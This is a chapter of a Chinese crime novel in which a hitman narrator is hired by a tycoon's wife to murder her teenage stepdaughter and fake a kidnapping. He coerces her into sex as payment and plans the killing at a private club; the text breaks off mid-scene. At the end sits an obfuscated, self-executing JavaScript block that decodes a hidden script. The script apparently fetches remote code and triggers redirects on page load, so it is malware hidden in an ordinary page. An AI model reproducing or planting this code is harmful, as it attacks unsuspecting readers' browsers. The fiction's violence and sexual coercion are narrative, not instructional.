第5章 谋情害命(1 / 2)

气球人 陈浩基 0 字 2022-01-05

我在这个车厢后座里,已经等待了差不多一个钟头。

为了不让人察觉,我弓着背,蜷缩着身子,整个人几乎躺在座位上。

夏天的车厢非常闷热。即使车子停在室内停车场,没有被太阳直接照射,那股热力仍教我汗流浃背。我想车厢里的气温有四十摄氏度以上——虽然我也明白,这热度很大的原因是来自我的身体。人类的正常体温有三十七摄氏度,密封的车厢就像一个保温瓶,而我就是当中的发热体。

我很想打开空调,可是我知道这是不可能的事。开空调要启动引擎,引擎一开,他人便会注意到我了。

妈的,电影中的杀手这些时候不都是很帅的吗?为什么在现实里实行起来却如此狼狈?再这样下去,恐怕我要在这辆陌生的车子里晕过去了。

话说回来,这车子真是豪华,不愧是德国名车。座椅宽敞、软硬适中,而且座位外面包的是真皮,触感舒适,跟我车子的“仿真皮”座椅在感觉上有天壤之别。车厢的空间很大——如果换成我家那台小巧的日本车,恐怕我在半小时前就已经闷死了。

“踢嗒——”我竖起耳朵,车外传来脚步声。声音清脆,步幅不大,脚步声的主人应该是穿高跟鞋的女人,很可能是我的目标。

我沉住气,把身子缩得更低。脚步声愈来愈近,最后停在驾驶席外。

“哔——”那个人按了防盗遥控器的按钮,车子就像回答主人似的,发出愉快的声音。

我的心里也同时发出愉快的声音。

车门咔的一声打开,那个女人坐进驾驶座。一如所料,她只有一个人。她戴着做作的红框太阳眼镜,浓妆艳抹,头戴一顶白色的宽缘帽子,身穿白色的洋装,脖子挂着一串明亮圆润的珍珠项链。如果我没猜错,光那顶帽子的价值已足够支付我一个月的生活费,那串珠链足够我买两辆车子。

女人没察觉我这个躲在后座的不速之客。我稍稍坐直身体,盯着后视镜中她那姣好的脸孔。

她关上车门,插进钥匙启动引擎。这个蠢女人至今仍未看到我。我再把身子坐直一点,挺起胸膛,双手交叠放在大腿上。

她系上安全带,再调整一下后视镜……

“哇!”

她终于看到我了。

“你……你是谁!”她吓得整个人向前倾,一手握着车门门把,却忘掉自己扣上了安全带,即使打开门也逃不了。

“别紧张,郭夫人。”我笑着说:“你忘了吗?是你约我的啊。”

“我约你?”她仍握着门把不放。

“我是气球人。”

“你就是那个……杀手?”她压下声音问道。

“没错。”

“我不是约你两点钟在西区的车站见面吗?”

“你认为我会在客户预定的地点跟客户碰面这么笨吗?就算对方不是警方卧底,万一被设计了怎么办?”我说。我知道她今天早上会到美容中心,所以早一步潜入她停在停车场的车子里。“郭夫人,请你明白,我们这一行做事必须小心一点,毕竟动手的是我,有些愚蠢的客户以为只要我完事后被灭口,他们就可以一劳永逸。”

“你怎么有办法走进我的车子里?”

“这些防盗工具只是小玩意儿,认真一点就能解开。”我掏出一个遥控器,“问题是这小工具的价钱不菲,一般盗匪才不会花大钱买这种东西。”

“那么,我们现在到哪里……商谈?”郭夫人问。

“就在车厢里谈好了,”我指了指前方,“不过麻烦你一边驾驶一边谈,这样子我们既不会被骚扰,也不用担心有第三者听到我们的对话。我想你也明白,杀人和教唆杀人同样大罪,我这个杀手万一有什么下场也可说是意料之中,可是你贵为富豪企业家郭庆言的妻子,最后有个不光彩的结局就未免太悲哀。”

郭夫人点点头,表情有点慌张。她将车子驶离停车场,往高速公路驶去。

“还有一件事我希望你马上做。”我说。

“什么事?”她紧张地问。

“麻烦你把冷气开大一点,我快热死了。”

车子驶上高速公路。周三下午一点多的高速公路上汽车并不多,灿烂的阳光照射下,远方的山峦呈现一片闪亮的绿色。

郭夫人的心情似乎已平复下来,她脱下太阳眼镜,气定神闲地聊着一些琐碎的事,还不时从后视镜偷瞄坐在后座的我。

在我潜入车子前,已调查清楚郭夫人的底细,而事实上,她的底细可说是人人皆知。她原名丁婕雯,今年三十五岁,是企业家郭庆言的第三任妻子,三年前郭氏的第二任妻子死去后,她在翌年嫁入郭家。虽然丈夫比妻子年长差不多三十岁,这场婚姻在当时亦引起不少羡慕目光——女人都嫉妒丁婕雯可以嫁给亚洲二十大富豪之一、全球第二十六位最有影响力华人、家财超过一百亿美元的庆鸿集团创办人郭庆言;而男人则羡慕郭庆言可以娶到选美出身、被称为二十一世纪性感尤物的影坛美女丁婕雯当妻子。

虽然他们宣称“爱情与财富、年龄无关”,但任何人都知道,如果不是郭庆言如此有钱,丁婕雯才不会对他看上眼;而如果丁婕雯不是拥有36D的身材和标致的脸蛋,郭庆言亦不会在对方身上大撒金钱。

我透过后视镜仔细端详郭夫人的样子。她真人比杂志照片更迷人,即使年届三十五,外表就像一个二十出头的少女。不过,她拥有少女没有的妩媚,在她艳红的嘴唇上,流露出一份成熟女性的妖娆。

我想起一个老套的说法——蔷薇都是带刺的。这么动人的美女,现在正面不改色地委托我这个杀手,去干掉一个她讨厌的人。

“我想你替我杀掉绮岚。”

“郭绮岚?令千金?”

“请你搞清楚,她只是我丈夫的女儿。”

虽然有点意外,但看样子,又是老掉牙的戏码吧。

郭绮岚是郭庆言的独生女,是郭庆言的第一任妻子所生,而这位夫人在绮岚出生后不久便因急病死去。郭庆言一直醉心事业,在四十多岁时才得此女儿,疼爱得不得了,媒体都形容她是郭氏的掌上明珠。她今年十七岁,在名门女子高中就读。由于她青春可人、样子漂亮、礼仪端正,对人有礼又没有富豪二代的架子,深受媒体和宅男喜爱。

“你要我干掉她,是为了你丈夫的财产吗?”郭庆言的亲人就只有妻子和女儿,这种猜测虽不中亦不远吧?

“那……是理由之一,但不是重点。”郭夫人露出厌恶的表情,说,“虽然我入郭家门已有两年,一直以来我也以为自己是郭家人,但我上个月才知道,对他们来说我还是外来者。那对父女根本就没有把我放在眼内。”

“发生什么事?”

“我丈夫……他患上癌症,还是末期的。”郭夫人眉头紧皱。

“哦?坊间没有这消息喔?”

“连对我这个妻子也不肯说,你认为他会告诉别人吗?”郭夫人的声调渐渐提高,“庆言他竟然只把这消息告诉女儿,对所有人都保密!我这个妻子,他根本没放在心上……”

“那你怎么知道的?”

“有天我偷听到绮岚讲电话,对方好像是庆言的医生,内容提到什么报告、什么末期、什么不可以让我知道……后来我趁着绮岚不在家,偷偷打开她的抽屉,发现那份报告。”郭夫人的语气带着愠怒,“上面写着,庆言只余下半年的寿命。我不敢拿着报告跟他对质,只好以试探的口吻去问他身体有什么不妥,他却装作没事,还发怒骂我多管闲事。”

“所以你知道丈夫快死,要把另一位合法继承人干掉就是了。”我淡然地说。

“我就说不是那样子!”郭夫人大嚷,“我最受不了的是他们两父女瞒着我!就算我嫁给他两年,跟他出席大大小小的场合,他还是把女儿放第一位!”

换言之,是妒忌吧。女人的心理都是如此。

“好吧,总之杀掉郭绮岚就行,对不对?”为了安抚对方,我把话题转回她的目标上。

“不,我不要这么简单杀死她。”郭夫人目露凶光,说,“我要制造一个场景,让她充满戏剧性地死去。”

妈的,麻烦又来了。为什么我老是碰上这种要求多多的客人?我当杀手当了七年,七年间总是遇上这些家伙。拜托,让我简简单单、干干脆脆把目标做掉,皆大欢喜就不行吗?

“你想要什么‘场景’?我擅长将死者伪装成意外致死,成功率可说是百分之一百……”

“我想你先去绑架她,然后撕票。”

靠。

“绑架?”我问道。

“不是真的绑架,先干掉她再把尸体绑走也可以。我只是要教训庆言,既然他如此溺爱女儿,就让他感受一下女儿被绑、生死未卜的滋味,然后在知道女儿被杀的那一刻崩溃。”

“这样做对你来说没有什么好处啊?”

“当然有,”郭夫人露出狡猾的笑容,“我要庆言在死前的这半年里,知道在绝望的时候,就只有我能够给他安慰和支持。”

女人的独占欲真是可怕。

“那么说,你想我替你杀害郭绮岚,再伪造绑架的迹象,数天后才让尸体曝光?”

“就是那样子。”

我叹了一口气,说:“明白了,我就照着办。”

“真的没问题?”郭夫人好像对我如此爽快答应感到讶异。

“没问题。虽然工夫不少,要花点时间准备,而且我另外还有委托,但应该没问题。”

“另外还有委托?”

糟,差点说溜了嘴。向第三者透露客户资料是我们这一行的大忌。

“啊,郭夫人请你放心,我是专业人士,即使同时处理三宗甚至四宗委托,也会顺利完成。”

其实我最讨厌一心二用,可以的话我也不想同时接下两份工作啊。

“关于费用方面……”我说。

“钱的方面你不用担心,”郭夫人嘴角微微上扬,“我的私房钱不少。我听说公定价是五万美元,我要求你加上伪装绑架,我出双倍,十万。如何?”

“不,我这次想收的报酬有点不一样。”

“哦?是黄金,还是珠宝?抑或是车子或不动产?房子有点麻烦,因为会有契约的问题……”

“我想要你的身体,一次就好。”我面不改色,在后视镜中盯着她丰满的胸脯。

“你……你是什么意思?”郭夫人显然没想过我会这么说,脸色一阵红一阵白,结结巴巴地说。

“丁婕雯小姐,”我特意叫她的本名,“你以前在娱乐圈中,不是靠陪睡才得到那些片约、那些机会吗?你当年选美得到冠军,在好莱坞的电影中客串一角,都是用身体换来的吧?你不用隐瞒,我老早查得清清楚楚。”

郭夫人没有即时回答,沉默数秒,说:“我已经很多年没有那么做了。我可以给你更多的钱,二十万?三十万?”

“我不要钱,我只要你。”看到她的窘态,不禁让我得意起来,“钱我随时可以赚到,但让你有求于我,机会难逢。其实你应该觉得这交易划得来啊,只要陪我睡一次,就可以省下十多万元。你以前的价码也没有这么高吧?我知道你曾替某位牵线的工作,跟好些有势力的男人有过……‘关系’啊。”

郭夫人在后视镜盯着我。她虽然一副嗔怒的模样,但仍无法遮掩天生的艳丽。良久,她轻叹一声,问道:“只是一次?”

“只是一次。”

“好吧,反正我又不是什么黄花闺女。”郭夫人的表情闪过一丝苦涩,再疾言厉色地说:“但你得保证,你会完成工作。”

“我向你保证,我收取你的‘报酬’时,郭绮岚一定已经不在人世了。”我露出诚恳的笑容。

跟郭夫人首次碰面后的第五天,我再次约她见面,讲述计划。

“怎么这次不在我的车里谈?”甫坐下她便问道。我们身处一家高级法式餐厅内,坐在看得到海景的落地窗前的一张桌子旁。

“这表示我信任你。”我回答。这间餐厅当然是我挑选的,客人不多,而我戴上假发、架上眼镜、穿上笔挺的西装,一副公子哥儿的模样。

郭夫人回头张望,看到我们附近一个客人也没有,服务生也站得老远的,登时露出放松的表情:“你准备得如何了?”

“大致上已准备妥当。”我说,“不过我们先点餐,吃过东西后再慢慢谈。”

我招来服务生,点了几道名贵的菜式,再开了一瓶红酒。我很少尝到这些佳肴美酒,觉得舌头上享受得不得了,但郭夫人却对前菜和甜品甚为挑剔,说这间餐厅的质素不如外界所说般出色。

吃过饭后,我摇着酒杯,跟她谈论杀人大计。

“我的计划是这样,”我掏出一张名片,“你是这间俱乐部的会员吧?”

名片上写着“比佛利山俱乐部”。这是一间以名人为顾客对象的私人休闲会所,有高尔夫球场、泳池、健身房、按摩中心、餐厅酒吧等设施,会员非富则贵,是有钱人联谊娱乐的热门地点。

“没错,是钻石级的会员。”

“你女儿也是会员吧?”

“那个丫头不是我的女儿,”郭夫人露出憎恶之色,“不过是的,她也是会员。”

“我调查过了,郭绮岚小姐从暑假开始,每个星期二和星期五早上都会到俱乐部游泳一个钟头,锻炼身体。”为了避免刺激郭夫人,我用上郭绮岚的全名,“她没有约朋友,只是自己一个人游泳,而俱乐部在平日早上客人不多,那是下手的良机。”

“你打算在泳池下手?”

“我没有这么大胆,别忘了你提出的要求,我们要‘绑架’郭绮岚,不是单单把她杀死。在泳池里杀人我当然做得到,但当着救生员和其他客人面前大喇喇地抬走尸体,不太可能吧。”

“那么……”

“下手的地点是更衣室。”我啜了一口红酒,说,“等她游泳后到更衣室换衣服时,我把她杀死。这个时段更衣室人不多,要动手不太难。把她杀死后,我伪装成清洁工,将尸体塞进放毛巾的手推车,然后往停车场,把尸体搬上车子。当你丈夫发现女儿失踪后,俱乐部职员会察觉她遗下的衣服和物品,到时就会知道她被绑架。明天就是星期二,我打算明天动手,而且我调查过了,明天俱乐部有维修工程,有一批工人会进入会所工作,发生‘绑票案’,他们有最大的嫌疑。”

“好,那就拜托你了。”

“不,郭夫人,你误会了,我叫你出来是因为明天的工作你也有份。”

郭夫人眼睛圆瞪,一脸诧异地看着我。

“我有份?”

“比佛利山俱乐部是私人会所,我独个儿走进去很困难。可是,你是会员,只要你带我进去就没有问题。”

“笑话,为什么我雇用你,反而要我冒险?”

“郭夫人,我这一个要求只是专业判断,认为是成功率最大的方法。你的女……郭绮岚出入俱乐部有司机接送,她很少有机会落单,想在平时下手相当困难,即使成功在街上绑走她,也会留下大量证据。警方一旦追查起来,麻烦不少。”

我顿了一顿,再说:“而我要求你协助的只是很轻松的部分。我扮成你的朋友,跟你一起驾车进入俱乐部,到酒吧喝酒,席间我离开十分钟下手,把郭绮岚杀死放进后车厢,然后跟你会合,驾车离开。没有人会想到你的车子里藏着你丈夫女儿的尸体吧?”

郭夫人有点犹豫。

“如果你拒绝的话,我可以再想其他方法,但很可能要多花一两个月来调查和准备。”我挨在椅背上,说,“因为你说过,你的目的是让只余下半年性命的丈夫投向你,我想你非常重视‘时间’这一因素,期望我尽快完成工作,所以我才提出这个有点冒险的计划。你放心,明天你的任务就是陪我进出俱乐部,以及在俱乐部酒吧喝上一两杯罢了。”

看来“时间”一词相当有力,郭夫人迟疑数秒,还是点点头,表示答允。

我举起酒杯,说:“让我们预祝计划成功。”

郭夫人微笑着,跟我干杯。

谈了差不多两个钟头,确认每一个细节后,我们准备离去。我招招手向服务生示意结账,然后对郭夫人说:“这一顿,你不会让我请客吧?”

郭夫人嗤笑一声,一脸“不过是小数目”的样子,从手袋掏出信用卡,递给服务生。该死,那张信用卡是黑色的,就是传说中“尊贵身份的象征、信用额无限”的黑卡。早知道我就开一瓶贵十倍的酒。

我吩咐郭夫人打电话回家,讹称将车子借给朋友,叫司机来接她。为了明天的工作,我必须在车子上做一些准备。

“我想,你不会希望郭绮岚的尸体在你车子的后车厢里留下血迹或毛发吧?”

于是,这一天我驾着一辆德国名车回家。我不想太招摇,但为了工作,没办法吧。还好我没有邻居,而房东这阵子跟儿子媳妇去旅行了。

星期二早上九点,我驾着车子,跟郭夫人会合。我仍戴着那顶假发和装扮用的眼镜,在这种炎热的天气下套一顶厚厚的假发,真是教人浑身不自在。

我接到她后,往比佛利山俱乐部驶去。驶进俱乐部大门时如意料中顺利,警卫看到郭夫人的车子当然不会拦下来——虽然我留意到他们眼光中的讶异,毕竟今天驾车的是我这个陌生男子,而郭夫人坐在我身旁。

“你要驶到哪里去?我的专用车位在左边。”郭夫人看到我把车子转往右边,问道。

“我之前查过俱乐部的平面图,在更衣室附近有一扇侧门,把车子停到那儿比较方便。”我笑着说,“我不想推着藏尸体的手推车逛大街。”

郭夫人点点头。从刚才开始,她的表情就很紧绷,紧张得不得了。

“郭夫人,请你放松一点。这样子会引起他人怀疑喔。”

我把车子停好后,提着运动用的手提包,跟郭夫人并肩走进俱乐部大楼。由于她是常客,接待员不但没要求她登记,更没有过问我是谁。嘿,看来拿黑卡的人真是特别尊贵,哪管她的黑卡只是附属卡。

今天我一身休闲服装,郭夫人也穿着轻便的连衣裙,就像结伴到俱乐部打球的样子。我先到男更衣室,将手提包放进储物箱,拔出钥匙,回到大厅,再跟郭夫人一起走进俱乐部的酒吧——由于现在是早上,酒吧只有我们两位客人——坐在窗前。俱乐部的酒吧设在二楼,从窗户可以看到俱乐部的游泳池,正好让我们监视着郭绮岚的一举一动。

“一杯玛格丽特,一杯长岛。”我对女侍说。

鸡尾酒送上来后,我们侧着头,注视着泳池的情况,偶尔说几句话,在服务生面前装作熟络。虽然郭夫人按捺着焦躁,装出一副从容不迫的样子,但她不用一会儿就喝光了她的玛格丽特。

“我的也拿去吧,酒精可以减轻你的紧张。”我把喝过两口的长岛冰茶推到她面前,她呆看着杯子一会儿,便啜了一口。长岛冰茶的酒精度比玛格丽特高得多,不一会儿,郭夫人满脸红霞,话也变多了。

“来了。”我看到郭绮岚走进泳池的范围。她穿着一件连身的粉蓝色泳衣,身材虽然没有郭夫人那么凹凸有致,但以一位十七岁的女生来说已是相当有看头。泳池里有两位六七十岁的老伯,加上在泳池边的救生员,我的视野里只有四个人,要监视目标的行动可说是易如反掌。

郭夫人也透过玻璃瞪着郭绮岚,她的眼神充满妒忌和恨意。女人真是可怕。

郭绮岚在游泳池来来回回地游着,其间我不断留意着有没有其他人走进泳池,以及郭夫人的样子。我不时提醒她装作友善,偶尔要露出微笑,以防服务生觉得奇怪。她只好刻意发出笑声,还装模作样地掩着嘴巴,演技有够烂的,不过我相信可以瞒过他人的眼睛。说起来,她的演技这么烂,难怪要陪睡才抢到片约。

四十五分钟后,郭绮岚离开泳池,抓起放在躺椅的毛巾擦擦头发。接着,她朝通往更衣室的通道走过去。

“我要工作了。在这儿等我。”我对郭夫人说。

我离开酒吧,到男更衣室取回手提包。手提包里是一件灰色的连身工作服,我没脱下身上的运动装,直接把工作服套在上面。我再脱下眼镜和假发,放进手提包里,然后戴上工人的帽子。

我确定走廊没有人后,走进杂物房,把收集毛巾的手推车推出来。这手推车除了支架和轮子外,其余由帆布组成,长宽高都有一米,只要盖上一堆毛巾,别说一个,就算收藏两个甚至三个十七岁的女生也绰绰有余。我再顺手从架子取下一个告示牌。

我把手提包丢进毛巾车,谨慎地推着,走到女更衣室前。俱乐部有数个更衣室,而这个设在游泳池旁,刚才我没看到其他女性泳客,我几乎可以肯定里面只有郭绮岚一人。不过,为防万一,我仍小心翼翼地推开大门,窥看里面一下后,在门前放下“清洁中”的告示牌,才蹑手蹑脚地推着车子走进去。

!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();